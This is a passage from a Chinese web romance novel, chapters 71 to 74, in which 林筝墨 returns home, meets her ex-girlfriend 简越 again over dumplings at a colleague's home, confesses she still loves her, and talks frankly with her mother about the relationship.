简越:【嗯,我就不来了。】 一秒。 两秒。 三秒。 新的消息: 简越:【人是铁,饭是钢。】 简越:【晚上几点?】—— 作者有话说:简越:今晚要用鞭子打人,求围观。 林筝墨:0.0?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 第七十一章 轰的一声,被淹没了…… 第七十一章 不过只是盛夏到凛冬, 却什么都变了,这世界瞬息万变,什么都变,连空气的味道也在改变。 林筝墨坐在沙发上, 看雪花坠落, 窗外是一片空寂的白。 手机连续震动着, 张老师正安排包饺子事宜,林筝墨思绪飘渺, 眼神凝滞在某一个点。 她在想简越谈恋爱的事。 意料之外, 却也情理之中。 既当初说分手,那就做好这个准备,可当这一天真正来临的时候, 还是好难过好难过。 昨天给简越寄礼物,明知不可为,却偏偏还是做了, 她的心是一辆失控列车,本已超速了, 如今还遇见雪山崩塌, 直直撞得脱轨了, 身体的列车与心灵的轨道已经四分五裂,要怎么办才好。 林筝墨承受着这种煎熬。 算了。 我活该。 她这样骂着自己。 厨房里的抽油烟机嗡嗡抽着, 抽碎了言语, 所以家里没人在讲话。 真想写上“索然无味”四个大字, 挂在客厅中央,送给这个解离又试图重建的家庭。 “墨墨。”林鸿从厨房探出头出来,“准备吃饭了。” “好。” 午餐算得上丰盛,但不似以前那种清淡口了, 微辣土豆丝,林筝墨尝了一下,想象不出这是周京芳做的味道。这菜的味道倒是挺热情的,就是人情味稍微淡了些。 毕竟他们这么久没见面,到底还是略显生疏了。 席间,筷子碰撞瓷碗,偶尔发出叮呤当啷的声音,连碗筷都比他们有勇气,谁也不知道说什么。 直到两口饭菜咽下喉咙,受不了这等煎熬。 林鸿才轻咳一声,“最近怎么样?” “挺好的。”林筝墨夹了小口米饭送嘴里,慢慢咀嚼着,不想说话,却觉得要礼貌回一句:“你们呢?” “一样。”林鸿瞟了周京芳一眼,像是在央求她说话。 周京芳喉咙哽着一粒米,好生咽下去了,不咸不淡地说:“这日子过得真快。” 林筝墨颔首,继续吃饭。 “我有好些了。”周京芳又主动说。 “那就好。”林筝墨继续点头。 “西城住得习惯吗?”她终究还是恢复了母亲与生俱来的温情,嗓音不再那般冰冷。 “还可以,很自由,没人管我。” “其实在南城也没人管你的。”林鸿搭腔。 林筝墨忽然笑,那笑声带着一点低迷的嘲讽,“你们不管我吗?你们最喜欢管我了,管我谈恋爱。” “你在西城有和女人谈恋爱?”周京芳倒也直接,她的声音淡淡的,分不清她的情绪。 “没有。”林筝墨喉咙滑动了一下,“不敢。” 不敢。 有点故意的意味。 大家忽然又有点沉默。 又吃几筷。 “喜欢女人好像是不会改变的。”周京芳忽然又说,潦草地补充一句:“我后来去查过。” “你查那些做什么。”说起这个话题,林筝墨有点心烦意乱。 “了解你。” 林筝墨捏着筷子的手忽然颤了一下,抬眼去看周京芳,试图从她的眼睛里捕捉一点答案来,却什么都没有。 “什么意思?” “想得通,想不通,都得通,不然没法活了。”周京芳含含糊糊说完这句,急忙岔开话题:“不说了,快吃饭吧。” 也许这顿饭最大的慰藉便是周京芳那句话了。 想得通,想不通,都得通,不然没法活了。 那她有没有想通那件事呢? 时间是刮痧,把皮肤里的痧淘出来,慢慢愈合,譬如这半年来,林筝墨获得了成长,也许,只是说也许,周京芳获得了释然。 简越 好吧。 她也获得了。 获得了一个新的女朋友。 林筝墨想起这个,忽然有点难过。 * 【我的妹。】 【今晚八点。】 【中不中?】 林筝墨回复:【好。】 觉得这样有点冷淡。 删除。 回复: 【中。】 张老师:【想你嘞!!】 林筝墨:【就我们两个,没有别人吧?】 有种此地无银三百两的心虚,问了又觉得自己很怪。 张老师:【当然了!就我俩。】 发完这句,张老师对着天花板说了一句“阿门”,觉得自己很擅长胡说八道,对着空气拜一拜,又一秒释然了。 林筝墨松了口气,又有点难过,她坐在沙发上,思考着如果傍晚踏入教师公寓的片区,有没有一定概率遇见简越。 她想她。 自然是想见到她。 可又不能见到她。 这种矛盾而撕裂的感觉再次出现了 在家坐了很久,胡思乱想很久,直到窗外天黑了,树梢上软乎乎的白雪也变得灰白,林筝墨才起身去穿大衣。 外面的天空是黛色的,小区的的树都穿上了衣服,一脚踩进雪地里,唰啦唰啦地响。 林筝墨的步伐印出一条长长的脚印,她在想,如果没有分手,那这个冬天一定不会这般冰冷。 围巾不奏效了,总觉得寒风钻进针织面料的缝隙里,刺得皮肤生疼,遥想夏日的那种温情,遥远又陌生,仿佛从未在自己身上发生过。 她徒步到教师公寓。 要把南城的街多走一截,那么是不是遇见那个人的概率就更大,她还是想简越,想见她,就算隔街对望一眼也好,她想看看她,看她冬天的皮肤是苍白还是红,有没有涂润唇膏,穿大衣是什么模样。 她确实太思念她了。 她的思念是一枚矛盾的硬币,一种令人唾弃的犯贱,是她推开的她,可她确实想念她。 不知不觉走到教师公寓门口。 “林老师?”有老师认出她,“好久不见。” “好久不见。” “是回来了吗?”对方是指上班。 “不是,只是来吃顿饭。” “喔,好久没看到你,去哪了。” “搬了个家。”林筝墨与对方寒暄着,目光却情不自禁往简越那栋楼看。 七楼阳台的灯亮着,床单孤零零地在风中摇曳,想起夏天的时候,这里有她们的T恤和裙子,还有很多很多花,但现在什么都没有了。 “那是简主任家。”搭讪的老师忽然说,“你去和她吃饭吗?” “没有。”林筝墨收回视线,“我找张老师。” “张老师在那栋。” “我知道。” 林筝墨与她道别,只身往那边走。她没有遇见简越,这种想见又见不到,见到又害怕的情绪,要把她的精神击垮了。 她在想,和简越应该很久都不会见面,吃完这顿饺子再回西城,下一次什么时候回来也不清楚了。 上台阶。 一阶一阶。 站在张老师家门口。 房子里发出清脆的咚咚咚咚,那是张老师在用筷子搅拌鸡蛋。林筝墨摁响门铃,听见脚步声,那门才隙开一个缝,便听见张老师朗声说: “快快快!快进来!哎哟喂想死我了。” 她的声音穿透了整个长廊,大概是清一色自摸太多了,整个人气血好得可怕,一双眼睛笑盈盈地看着林筝墨,手也不闲着,去搭林筝墨的肩膀,揽她进屋。 闻到饺子的味道,香菇白菜馅儿,鲜肉馅儿,大概还有韭菜。 “我先换鞋。” 张老师把拖鞋拎给她,“这双这双,我女儿的拖鞋,反正她也不在家的,你穿就好。” 林筝墨坐下换鞋,她还是第一次来张老师家,挺宽敞,家具比较符合上一辈的风格,但干净通透,很有家的安全感。 “唉呀,唉呀。”张老师看着林筝墨,发现她整个人薄薄的,瘦得孱弱,令人心疼,“你太瘦了,是不是没吃好饭呀。” “我挺好的。”林筝墨看着张老师,“你漂亮了,也精神了。” 原来离婚是疗愈衰老的灵丹妙药啊。 张老师过来拉她,一只手在她掌心摩挲着,“过来,给你看看我包的饺子。” 有种张老师是她失散多年的姨妈的感觉,类似于那种亲切感。 厨房的案板上放着各种口味的饺子,小巧精致,敷上一层白白的面粉,围了一大圈,哪里都好,就是包得太多了。 “包了好多。” “三个人——”张老师喉咙忽然卡住,撤回,“不多不多,我胃口好!要三个人还不够吃呢!” 话刚落,忽然门铃响起。 张老师眼睛瞪直了,赶忙揭开锅盖,“哎呀水开了,我赶紧下饺子,你去开门。” “买了什么吗?”林筝墨问。 张老师嘟哝:“怕是送水的。” “好。” 林筝墨没有怀疑,转身往客厅走,直到玄关,手放门把手上,推开一个缝隙。 毫无期待的动作。 下一秒。 意想不到的人出现在她面前。 像是窗外的雪全都飘了过来,轰的一声,林筝墨觉得自己被淹没了—— 作者有话说:最近断更有些久了,状态确实不佳,但确实在恢复了。知道我的朋友应该都知道我和她在一起七年了,要结束这样一段感情确实很难。我的生活发生了很大的变化,最大的感受还是要接受发生的一切吧。不过有在慢慢恢复状态了,大家久等了,谢谢你们的理解和宽容。文章正式恢复更新,我可能尽量每天更新一章这样,还是想说,谢谢你们,谢谢你们,有人评论区发,也有人在微博私信我,我都看到了,谢谢你们的善意,感谢有你们,最后,祝大家都好。好吧,扯远了,我们继续看文吧! 第72章 第七十二章 不许逃跑 第七十二章 林筝墨开门看见简越的那一刹那, 冬天的雪忽然淹没了她。 但雪花为什么是烫的,这般炽热,将所有遗失的温暖覆盖在冰冷的皮肤上,好像腐烂了一个冬天的身体, 终于在这一刻得到了愈合。 她的思念终于获救了。 林筝墨一瞬不瞬看着简越, 深黑色的瞳仁里荡漾着不一样的色彩。 而简越的目光落在林筝墨脸上, 凝目又垂眸,没有说话。 林筝墨一只手扶在门框, 指节按压出一定弧度来, 连指甲也白了。 “太多了!饺子确实包太多了!”张老师从厨房里出来,故作轻松,“哎哟, 小简来了啊,正好正好!那三个人吃就不愁了!” 她也不说简越为什么忽然出现在这里,根本不解释, 只是快步走去,介于林筝墨和简越之间, 两手一捞, 一并将她俩都带了进来。 宽绰的客厅, 三人的影子又斜高。林筝墨侧目的时候正好看见简越,而简越也正好在看她。 目光一碰, 立马嚓的一下弹开了。 张老师在中间搭桥, 活跃着气氛:“都别站着, 过来坐坐。” 林筝墨心跳得厉害,关于简越忽然出现在这里,毫无准备,来之前问过张老师, 明确说不来的,所以她根本没抱期望。 那种失控的感觉又来了。 好像四面的空气都变了味,因为这个人的出现,神态、表情、眨眼的频率、对所有一切一切微妙的感知,都发生了变化。 林筝墨冰凉的手指掐进掌心,小心而沉重地呼吸着,整个人僵在原地,不敢言语。 听张老师说:“愣着干嘛?快过来~” 行走只是机械的动作,她走过去,坐在张老师旁边,简越则在另一张沙发上,她们中间呈一个直角,轻易抬头就能看见对方。 林筝墨抬眼,仿佛客厅的光线也变柔了。终于有光明正大的理由看简越。 出逃半年,很努力不去关注简越的消息,可是,爱这种不会变质的东西,又怎么可能因为季节的更替而改变呢。 久别相逢。 她眼中的简越,不能简单概括为“好看”,而是一种来自灵魂的慰藉,仿佛她是飘浮在空中,居无定所的野鬼,现在终于找到了属于自己的庇护所,她由衷的、发自内心的,在这一刻感受到了一种安宁。 张老师说什么也不重要了,林筝墨只是“嗯”“对”“好像是”这样应和,她的心情因为简越的出现,全然不同了。 厨房的饺子在锅炉里雀跃地沸腾着,旋转着,跳着探戈。 心中有个计时器的张老师忽然起身,“怕是煮好了,我去看看饺子!” 她一走,林筝墨心中的那根弦忽然拉紧了。 半年未见,身侧坐着爱得要死的前任,该如何开口成为世纪难题,若是被对方辜负,大可开口说几句,可偏偏那个说分手的坏蛋是自己。 林筝墨深知,她没有主动的理由。可软绵绵的沙发好像是一块切成两半的蛋糕,原本是同一块,那是一种难以抑制的不甘心。 “最近怎么样?”林筝墨鼓足勇气,喉咙略带干涩地说。 简越抿唇,极力克制住情绪,故作冷淡地说:“过得也算不错。” 挺不错的。 失眠、落泪、崩溃、恨你。 不错到我想杀了你。 简越真想将那种爱到极致的怨恨发挥到淋漓尽致,她幻想自己是一把刀,要一刀子扎进林筝墨的胸口,就算外科医生来了也能留下刀痕的印记,她要杀了她,要割破她的皮肤,扼杀她的神经,让她像自己一样,医不好,治不了。 她又何尝甘心? 哦,可是这人现在就在她面前,为什么一句狠话都说不了。 千万思绪幻化成一些无关紧要的日常。 “你去了哪里?”简越还算平静地问她。 “在西城。”林筝墨还算平静地回答,“教别人弹钢琴。” “你不是不喜欢?” “我不喜欢的事情有很多。”林筝墨小声说:“但样样在做。” 她们瞬间都沉默了。 厨房是张老师汤勺碰撞的清脆声,不说话的时候,听见饺子咕噜咕噜在洗澡。 “我”林筝墨忽然抬眼看天花板,那是一盏水晶吊灯,光晕刺着她的眼睛,连带着眼皮都泛着痛,她开口说话的时候,是下意识的,她问简越:“所以生日礼物收到了吗?” 几乎是开口那瞬间,林筝墨立马对自己有种绝望的失控感,她觉得自己真是犯贱,真贱,不要脸,人家有女朋友了,问这样的问题做什么。 “收到了。” “好。” 灰色毛衣下,是林筝墨的同款项链。分手后,她也去西山找过另一朵四叶草,她没有那么幸运,找了两天,后来她做成两条项链,一条自己戴,一条送给简越。 坠饰悬于胸前,隔着毛衣,成为一个秘密。 算了吧,算了。林筝墨这样告诉自己,是她伤害的简越,那就不要再打搅她的生活。 “我去看看饺子好没。”林筝墨起身,又逃。 正巧碰见端着饺子出来的张老师。 热腾腾的饺子刚走出厨房大门,碰见慌张不看路的林筝墨,两人撞在一起,小饺子跳到她的手臂上,烙下红印,滚烫了整个木地板。 “啊呀!”张老师失声大叫:“你没事吧!!” 林筝墨摇头,“没事,对不起。” 她几乎是立马掉了眼泪,她其实是因为难过,但她可以说是饺子烫的,谢谢饺子,饺子真好。 张老师捏着林筝墨的手,白白净净的皮肤,手背那一块红通通的,大惊失色:“是我没端好!妈呀手都红了!” “没事,不烫,我突然走过来的。” 沙发上简越跳起来,就要冲过来,张老师连忙唤她:“烫伤膏在那边,小简你快拿一下。” 林筝墨情绪上难过,也为饺子难过,双重夹击,带着懊悔的腔调:“那我们的饺子” “这都不是事儿!里面还有两盘儿!!吃都吃不完!!!关心关心你的手吧!!” 简越带着膏药过来。 “快给她擦擦。”张老师催促简越,“温度确实高,有点红了。” 简越拧开盖子,食指上轻轻抹一点,敷在林筝墨的手背上。 膏体在皮肤上抹来抹去,带着一点痒,林筝墨反而不觉得疼了。 她屏住呼吸,双颊不自觉微微胀红。 张老师察觉到两人之间的微妙,不好再一起,便起身,嘟囔着:“盘子也没碎,饺子厨房还有,小事,小事,我扫个地。” 简越涂好烫伤膏,却依旧握着林筝墨的手腕。 指腹的温度传递到林筝墨的手背上,让林筝墨的手指情不自禁颤了一下。 简越自顾自低下头,小声说:“所以以后是打算一直在西城发展?” “嗯,要回去的。” “又走,逃兵。” 她似乎略带失望地叹了口气,瞬间松开了林筝墨,起身,当什么都没发生过。 留林筝墨一个人在原地愣神。 逃兵? 什么意思? * 张老师打扫好残局,邀请俩人吃饺子,饺子相当美味,但很明显沉浸美食的只有张老师。 林筝墨放慢了进食速度,于她而言,吃什么馅料都无所谓,她在咀嚼的同时,听张老师和简越说话。 捕捉简越的声音,清越的,像干净的水一般流淌在耳间。看简越捏着筷子时,指节的弯曲的弧度,觉得饺子也变得可爱。 偶尔,林筝墨假装抬眼,可以看一下对方的模样,她觉得这样已经很满足了。 看到大于想到。 动态的,总大于幻想中的静态。 “你说说,西城有什么好?”张老师忽然侧目,望向林筝墨。 “不好。” “那你待在那里干嘛?赶紧回来。” “不知道去哪里。” 林筝墨不可能在南城久住,在南城意味着失控,她不想打搅对面那位,毕竟以她现在的处境,依旧给不了简越什么。 “你呀,这半年一点消息没有,害我们担心得好苦。”张老师又看看简越,“你们俩过得人不人,鬼不鬼的,互相折磨个什么?” 林筝墨很想说点什么,但也只是吃了一口饺子,什么话都咽下了。 “说话。”张老师敲敲木桌。 林筝墨不得不讲:“那,那您的意思是什么?” “至少也多待几天,又没有要紧事,不嫌路费贵吗?” 林筝墨没反驳。 她回来的原因很简单,即使知道回来改变不了什么,可总归庆幸是回来了,至少她看见了简越。 即使,即使现在她们之间显得那么寡淡,经过半年时间稀释,话题也变得零碎,但只有林筝墨自己清楚,内心翻涌得有多强烈。 她依旧为这个人心动,热烈。只是深思熟虑过后觉得,应当隐藏,应当祝福,她实在想不出,除了逃跑还有什么最佳策略。 张老师忽然说:“不是我说啊,这过日子不是打麻将,未必你们以为每天都有清一色杠上花自摸,有些惊艳你的人,一辈子就一次!” 林筝墨下意识望向简越。 发现简越低头在吃饺子,明显心不在焉的,发现她眼底闪烁着泪光。 她俩却都不讲话。 “哎你们真是!”张老师急得呼呼吃了俩饺子,“聋子!哑巴!” 虐死你! 急死她! “我吃饱了。”简越忽然放下筷子,抽了张纸巾擦擦嘴,胡乱找了个借口:“饺子很好吃,想起有点急事,先走了。” 她似乎受不了无意义的沉默,起身非常果断,玄关处换鞋也很迅速,待到林筝墨回过神来,已是关门声,那声音比平日大了些,有些情绪。 张老师搁下筷子,“你们这样是为了什么呢?” 林筝墨双手掩面,纤长的手指挡住了整张脸,声线颤抖:“张老师,我没有办法,我很爱她,但” 张老师打断她:“何必折磨自己。” “我妈妈——” “那是你妈妈的事。” 林筝墨摇头,带着哭腔:“是很大的事,关于简越,我一直一直很想她,我,我一个人在西城也很孤独,可我没有办法,没有办法。” 她也不知道该怎么办了。 也许不回南城就是最好的选择。 张老师拍拍林筝墨的手,替她擦眼泪,将她拉到自己面前,轻轻摩挲着她的手掌,低叹:“我不知道你家里发生了什么,问过,但小简没说,当然,这是你们两个人的事情。可是,你说你很孤独,她也很孤独,我真的看不下去。” 林筝墨忽然抬头,泪汪汪地看着张老师,“她不是已经有新的人。” “你觉得可能吗?”张老师反复问:“你觉得,她可能去爱除了你之外的人吗?” 林筝墨的眼泪唰的一下从眼角滑落,两条晶莹的泪线顺着脸颊噙在下巴,泪珠满了,啪嗒一滴落在桌布上。 张老师拥着她,嗟叹:“我说你呀,不要再自我折磨啦,这半年来你跑了那么多地方,看了那么多风景,搬到那么远的出租屋去住,可是,有用吗?” 有用吗? 如果爱一个人可以通过物理距离来疗愈,那治疗情伤的妙药岂不是一张机票,飞得越远,越好。 爱分明是一株变态的,缠绕灵魂的藤蔓,是愈远愈烈,是站在南极看北极,什么都看不到,却依旧想念你,是变成千足虫,穿一百双鞋,傻傻翻山越岭,却怎么也忘不掉你。 “根本就没有办法嘛!”张老师直击灵魂:“你不能再逃跑了,如果你爱她,你就待在南城,不管有多少困难,至少!至少你在这里!” 林筝墨早已泣不成声,“我我,我待在这里,根本忍不住。” “为什么要忍?凭什么要忍?” “张老师”林筝墨有苦难言。 “乖,你听我说。”张老师过来人,看得非常开,“人生一场游戏,谁都要走的,谁都要离开的,你要由着你的性子来,你爱什么,就追什么,想得太多,不会快乐,你已经这么不快乐了,就不要再对自己这么吝啬了!” 林筝墨哭得更厉害了。 张老师轻声细语哄她,安慰她,“慢慢来,不着急,你平静下来,然后答应我,先留下,好吗?” 林筝墨点点头,又摇头。 “留下,先留下。”张老师反复说服她:“答应我,先留下来,就当陪我,中不中?” 林筝墨泪水打湿了张老师的肩膀,哭了好久,饺子凉了,嗓子干了,酸涩的话都说光了,最后的最后,才点点头。 “我” “我留下。”—— 作者有话说:写到这里,觉得林筝墨有必要火葬场一下,虽然她也蛮可怜的 哦对了 昨天想码字来着 确实一个字写不出来 今天好多了 许愿明天能更新 第73章 第七十三章 我爱你 第七十三章 林筝墨在张老师家待了很久, 直到周京芳打电话过来才离开。 冬天的夜晚特别黑,楼下花坛里铺满了雪,像一层过期的厚芝士,只是好看, 并不美味。 “别送了, 张老师。” 张老师在她肩上轻轻拍了下, “到家给我发消息。” “好。” 林筝墨颔首,转身离开。六单元、五单元, 心涌似海。想起简越, 想起与张老师说过的那些 她站在楼与楼之间,高大的建筑就像她的心情碎片,要把这张摔碎的拼图再次粘合在一起, 需要勇气。 踟蹰着。 最终还是忍不住停在一单元面前,抬眼向上看,简越家的灯还亮着, 她觉得她欠简越一个道歉。 熟悉的楼道,不一样的心情, 夏天是甜的, 冬天带点寡白, 林筝墨上楼,感应灯亮起一盏又一盏, 熄灭一次又一次, 直到停在简越家门口。 她抬起手, 蜷起手指,敲下去那瞬间顿了一下。 依旧是需要勇气。 深吸一口气—— 叩叩。 忽听见门里泡泡的叫声,林筝墨心脏剧烈跳动了一下,十分想落泪。 我走了之后你依旧把我的小猫养得很好。 没一会儿房门打开, 她看见简越。简越依旧是穿着刚刚那套衣服,并没有换下睡衣,大概是没那个心情,头发是凌乱的,眼眶微微泛红。 对于林筝墨的出现,简越并不感到意外。 两人目光接触,视线停留在半空,黑夜犹如黏稠的、流动的绸缎,流淌在她们的眼神之间,可谁也没敢表现出来。 简越用还算冷静的语调说:“怎么了?” “我有话想和你说。”林筝墨深吸一口气,“可以吗?” 简越掌着门框,没有让她进去的意思,沉默半晌,才说:“好,你说。” 身后,泡泡穿过简越的脚踝,伸出一个脑袋来,对着林筝墨疯狂喵喵喵。 “喵!喵喵!”好像在说臭林筝墨你它喵的死哪儿去了! 毕竟是自己养了那么久的猫,林筝墨看见泡泡那瞬间有些动容,连忙蹲身去摸它。 “泡泡,泡泡。”说着往自己怀里抱,“抱抱” 猫胖了。 都不知道平常喂得多好。 只是简越瘦了。 心酸。 “喵!!喵嗷嗷!!”泡泡反应很大,脑袋在林筝墨的手臂上蹭来蹭去,激动到甚至要咬她,林筝墨任由泡泡在自己怀里翻动着。 “你是来看它的吗?”简越低头睨她,“它还长胖了。” “嗯。”林筝墨松开小猫,又站起来,“但我不是来看它的。” 她见简越没有让她进去的意思,便主动提出:“可以进屋说吗?” 简越不语,侧身算是默认。 家里的布局根本没变,连林筝墨拖鞋摆放的位置都一模一样。那时她走得匆忙,很多东西都没有带走,这些简越都没有处理掉,这一切的一切,让人感觉恍惚,仿佛她只是出了一趟远门,她还在等她回家。 哦,那就更难过了。 林筝墨站在玄关,她失去了换鞋的勇气。 “我就站在这里和你说。” “好。” “我不走了。”林筝墨开门见山,“不去西城了。” “所以呢?”简越大方直视她,“你想表达什么?” “嗯,我不是想暗示你什么的意思。”林筝墨倒也诚恳:“说这些,不是说留下来就可以弥补对你的伤害,要轻易改变现状之类,对于之间的种种,对不起,真的对不起。” 她所说的对不起是真的,虽然造成这一切不是她的本意,可她确实被判定为罪魁祸首。 “嗯”简越直勾勾看着她,“既然你说这些,那我也明确告诉你,我很伤心。伤心不是因为你说分手,我理解你的难处,那个时候是真的没有办法再一起,伤心伤心可能是因为你丢下我吧。” 没想到重逢之后的对话如此直白,一种冰冷的直白。 “我没有丢下你” “你丢下了。” “我没有。” “你有。”简越压抑着起伏的情绪,尽量冷静地说:“你走了之后我一直是一个人,魂不守舍,寝食难安,我不知道你在哪里,会遭遇什么,过得好不好,打电话永远是正在通话中,发消息是红色感叹号,我的生活与你彻底断开,那种煎熬你不会懂的。” 她的表情是一面平展的玻璃,远看还好好的,稍微近一点会发现,她已经碎掉了。 诚然,人类相爱的方式各不相同。 比如,你喜欢红色,所以你给我红色,我爱蓝色,我便赠予你蓝色。当生活没有变故的时候,红色和蓝色都很好看,一旦产生矛盾,这便是不共通的两种颜色,色彩虽绚烂,也会杀人。 有人逃跑,有人等待。逃跑的人看前面的风景,站在原地的人看背影。 简越理解林筝墨,但也不理解林筝墨,就像红色不能变成蓝色,蓝色永远是蓝色,这是客观存在的,不可变更的差距,即便她是她深爱的人。 “我的处理方式很差,对不起,我知道你很难过,也觉得自己很差劲,那段时间没有一件事情是可以解决的。” “所以你就解决掉我。” “不是的。”林筝墨非常懊恼,她有多爱简越她自己清楚。 就算全世界的人都不理解,可是可是,在那样的境地下到底要怎么选择? 她根本没有选择权,不论怎么做,结果都不尽人意。说她贱也好,任性也好,她都认了。 “但我除了道歉还想说别的。”林筝墨咬着唇,眼底噙着泪光,“简越,我知道,作为恋人我绝对没有你好,我不是一个绝顶好的恋人。我有很多缺点,我不识抬举,没那么勇敢,逃兵好吧,我是个逃兵,我逃到很多很多的地方去,我也想让自己变成熟,变坚强,我没有一天在开心。你过得不好,我也不好,西城特别干燥,我每天流鼻血,夜里翻来覆去睡不着,失眠、掉发,夜里想到你会哭,好多次想给你打电话,可是我真的不知道” 她哽咽了。 泪水簌簌。 只能含糊着继续说:“我真的不知道,就算打给你,我们又能怎样。” 那是客观存在的问题。 逃兵也有逃兵的理由,虽然所有人都觉得她是逃兵。 当然没有人理解逃兵,我们只为战士荣光。 “你说我丢下你。”她带着强烈的哭腔:“没有,我没有一天不爱你,不想念你,不想和你一起,可我要怎么办。在西城我的出租屋只有一张床,我什么都不想添置,因为我觉得那不是我的家,你不在我身边的时候,我觉得自己已经死掉了。” 简越眼角烧得厉害,泪水在眼眶里泛了又泛,但她强忍着没落泪。 “我不是来装惨,来获得你的怜悯。也不需要,不需要你理解我,但想说的话要说,不想留下遗憾。”林筝墨说到这里,双手掩面,将泪水拂在掌心。 那些积压在她们之间的情绪,这些伤痕,该停止了。 一切都该停下来了,乞求上天,对有心人温和一些。 “所以,你想表达什么?”简越依旧凝视着林筝墨,想从她那里获得更多的信息。 “我” “你想和我复合?” “我”林筝墨红着眼看她,委屈又正经道:“就算我想,你应该也不想吧。” 可不敢奢望这个。 “对。”简越勾唇,“当然了。” 林筝墨本就低抑的心情又沉了些,随即又鼓起勇气说:“但我喜欢你,我不会丢下你,就算你觉得我丢下你,但我这里不是的,我一直喜欢你。” 要从林筝墨的嘴巴里撬出“喜欢”二字,就像杠杆地球那么难。 简越听她说喜欢,连带着耳朵都跟着烫了一下。 “而且我爱你。”——她居然还补了一句。 “我不爱你。”——简越扔回一个炸l弹,她要惩罚她。 逃兵失魂落魄地说:“我爱你就够了。” 简越觉得自己的心被什么刺痛到,有时候观察她人的狼狈分为两种,冷眼旁观,和故意冷言旁观。 简越是第二种。 “说完了吗?说完你可以走了。” “说完了。”林筝墨狼狈转身,不甘心,蹲身摸了下猫,和小猫缠绵总归算一个正当理由,没忍住说:“我之后可能回来上班。” 简越心跳微微加速了一下,冷声道:“你随意。” “嗯。”没有再待下去的理由,泡泡都被摸懵了,林筝墨起身,“我走了。” 简越不语,看她离开。 林筝墨开门,走到外面去,临关门前又看简越,忍不住问:“隔壁有人在住吗?” 简越双手抱胸,很是冷漠,明知却不答,“你自己去了解吧,不清楚。” 那人受了冷言,也不说话,转身把门关了,一个人往楼下走。 简越站在玄关,听门外的动静,直至无声,她沉默片刻,转身朝阳台走去,低头往下看。 外面的雪还在下,小雪花开始膨胀,变得迅疾而猛烈,簌簌飞舞,苍蓝的天幕下,夜晚寥廓,那些所谓的寂寞被白雪芝士覆盖,从夏天腐烂到冬天的痛苦,像一场瘟疫,挨了好大一场痛。如今在苦楚的夜光之下,终于获得一点喘息。 一点,惴惴不宁后的安宁。 简越看见林筝墨从一楼出来,她的黑色大衣与夜晚融合在一起,步伐踩出一条浅白色的脚印,大地被雪花点缀着,点缀着,最终简越瞳孔里只剩下那个影子。 脑海里回荡着我爱你三个字。 那是五分钟前逃兵留下的情话。 而现在,逃兵在哭,因为她一边走一边抬起手在抹眼泪。 哭就哭吧。 反正我也以同样的姿态哭过很多次 第74章 第七十四章 赵筱筱:老子绑人 第七十四章 林筝墨说她不回西城, 周京芳和林鸿自然开心,他俩现在觉得,女儿待身边比什么都重要。 帮忙打扫公寓,忙东忙西, 不该问的也不问, 害怕多问几句林筝墨又跑了。 林鸿手里的吸尘器在地板嗡嗡作响, 四处扫着。 周京芳则去把阳台的窗户打开,外面的冷风灌进来。在妈妈的世界里, 透气永远是第一要务。 林筝墨环顾四周, 总觉得公寓空落落的,她很多东西都放在简越家里,但没关系, 这里比西城的出租屋好多了。 一家人忙活一上午,虽然林筝墨也没搞懂为什么不请保洁,但总归来说, 大家都快累死了,这种“累死”反而拉近了他们之间的距离。 “之后怎么想的呢?”林鸿杵着拖把, 小心翼翼试探。 “南中还回得去吗?”林筝墨问他。 林鸿说:“这个我问过了, 你走之后他们招了新的英语老师, 原则上是没有办法了。” 林筝墨点点头,“那就不打搅别的老师, 我找别的工作就好。” “但你听我说完。”林鸿备了下文:“但是南中附中不是在曲市吗?那边缺人, 你们小组两个英语老师都过去了, 好像他们老家在那边,离家近,反而不想待在这里了,所以现在还要新招两个新的老师。” 林筝墨燃起希望火焰, 但下一秒心中的光火又黯淡了。 她发现周京芳没讲话,只是在一旁沉默不语,那种久违的,湿冷的恐惧又袭上林筝墨的心头,仿佛又置身于那个跳江的午后,那种惊悚好似香烟留下的烫痕,抹也抹不去。 默认不说吗? 还是谈谈。 林鸿察觉到微妙,家中大事小事其实是由京芳决定的,他做不了主,只能低头往窗户那边走,自言自语:“太冷了,我把窗户关了啊。”反手关上,脚底发烫,就要开溜,“收拾得差不多了,我下楼打包几个菜上来,今天就不开火了吧。” “你顺便给她买点米面油上来。”周京芳开口,算是暗示林鸿先走。 林鸿捎上钥匙,连连点头离去。 他走后,客厅里只剩两人,林筝墨站着,周京芳坐着,隔着五六米。 林筝墨静静地看着周京芳,眼神停滞在某一处,似乎在思考着什么,但没说话。 “过来。”周京芳拍了拍沙发,“坐着说。” 声音还算和缓,带着一点想好好商量的语气,林筝墨稍微放下心来,过去坐下。 她们虽并肩坐着,却是没有肢体接触的,中间大概隔着一个人那么宽,不远也不近。从小到大,林筝墨和周京芳之间,都是这样不冷不热的距离,她们不会像很多母女那般亲昵,但互相早也习惯了。 “想说什么?可以直说。”周京芳向来不会拐弯抹角的。 “从哪里说起?”林筝墨倒也不避讳,“你想从哪里听起?” 周京芳垂眸,盯着木地板,她的眼神沉静而锐利,“你们昨天见面了?” “见了。”林筝墨根本不想隐瞒,直言:“我去同事家吃饭,说她不来的,结果她来了,后来就聊了几句。” “她还是一个人?” “是。” 周京芳眨了一下眼睛,侧目去看林筝墨,她俩的眼神交汇在一起,也许,有些话是通过眼睛来说的。 很多时候,不想继续说话,是觉得窘迫,而这种窘迫一旦被打破,那么剩下的就只有「有话直说」了。林筝墨受够了隐忍、逃避、缄默。当初周京芳的极端行为,让她做出退步,现在是不是该回到原本的位置了。 “那我直说。”她顿了一下,用沉默来蓄力,而后忽然开口:“我还喜欢她。” 周京芳并不意外,幽深而冷淡的眸子凝视着林筝墨,她在观察她的皮肤,她的表情,还有说话时五官的神态。 “我知道。” “那你会祝福我吗?” “不会。”——周京芳几乎是立马回答了这个问题。 妈妈说“不会祝福”,和简越说“我不爱你”一样迅速。 这种迅速让人难过,但林筝墨现在已经有勇气来接受。 什么都接受。 反正也是千疮百孔了,没有祝福就没有祝福。现在她身上的每一个疮口,每一个腐烂的洞,都由她自己填补着。 “那你还会自杀吗?”林筝墨依旧直视她,她们第一次对视这么久。 “也不会。”周京芳平淡地回应着:“我从来没有想裹挟你的人生,那天从那里跳下来,是因为京田而不是你。” 她忽然停顿了一下。 她们互相不说话。 呼吸着,平复着,凝视着。 空气也停滞了一下,周京芳才说:“但我好多了,我现在很好,也有很多事情要做。你要继续待在南城,我也很开心,以后你要怎么做,很多事情不需要再和我商量。” 周京芳的话冷静又客观,听起来是深思熟虑后的结果。 